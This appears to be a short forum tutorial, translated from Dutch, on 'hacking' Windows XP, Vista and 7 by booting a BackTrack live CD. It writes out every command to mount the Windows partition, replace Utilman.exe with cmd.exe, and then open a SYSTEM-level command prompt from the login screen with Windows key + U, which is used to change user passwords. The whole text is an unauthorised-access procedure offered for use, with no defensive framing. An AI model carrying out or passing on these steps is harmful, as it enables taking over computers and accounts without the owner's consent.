BackTrack 4 - Hack Windows

In this tutorial I am going to explain how you can "hack" Windows with BackTrack. This applies for Windows XP as for Windows Vista and Windows 7.

First you need to download BackTrack.
Link

After you downloaded backtack, you need to Burn the .ISO file on a CD/DVD.
If that's completed you can shut down your system, but you'll need to leave the backtrack CD/DVD inserted.

Reboot your system and choose to boot from a CD.
If done correctly, backtrack should now start.

When BackTrack is loaded , it will ask you to select a version to boot. Just press enter.


Its going to take a while for BackTrack to load some stuff, but it's not important to us.

Once that's finished you can type in some commands.

Type: Startx
BackTrack should start up. Now start the Konsole/Shell/Terminal.


And now we start with the real work.
Type this in the Konsole:

fdisk -l

(Press enter and now the following sense)

mkdir /mnt/sda2

(Press enter and now the following sense)

mount -t ntfs /dev/sda1 /mnt/sda2/

(Press enter and now the following sense)

cd /mnt/sda2/Windows/System32/

(Press enter and now the following sense)

mv Utilman.exe Utilman.old

(Press enter and now the following sense)

cp cmd.exe Utilman.exe


When you are done type: Reboot


After you rebooted your computer and started up in windows, press the Windows key + U.
Now CMD should open. Type: "control userpasswords2"

Now you can edit user information such as passwords etc, because CMD will think that you are logged in as the user SYSTEM.

Thanks to Simulate to translate this tutorial from Dutch !
06/10/2011 - Edited by Doom